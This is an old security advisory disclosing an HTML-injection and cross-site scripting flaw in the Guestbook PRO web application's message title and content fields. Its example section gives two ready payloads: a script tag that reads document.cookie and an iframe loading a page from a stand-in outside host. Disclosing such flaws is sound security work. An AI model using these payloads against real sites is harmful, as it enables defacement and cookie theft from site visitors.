Guesbook Pro XSS & HTML Injection

[SoulBlack Group <soulblacktm () gmail com>]

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Title: Guestbook PRO
Vulnerability discovery: SoulBlack - Security Research -
http://soulblack.com.ar
Date: 10/05/2005
Severity: Medium. defacement website
Affected version:  <= v3.2.1
vendor: PixySOft.
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* Summary *

Guestbook PRO is an advanced guestbook for WebApp.

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* Problem Description *

A new vulnerability is in the content and title of msg, when not controlling the
entrance of  characters, being able to inject HTML code.

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* Example *

Type in the title or content of msg

<script>alert(document.cookie)</script>

<iframe src=http://othersite/sb.php>

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* Fix *

Contact the Vendor.

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* References *

http://www.soulblack.com.ar/repo/papers/guesbookpro_advisory.txt

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* Credits *

Vulnerability reported by SoulBlack Security Research

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SoulBlack - Security Research
http://www.soulblack.com.ar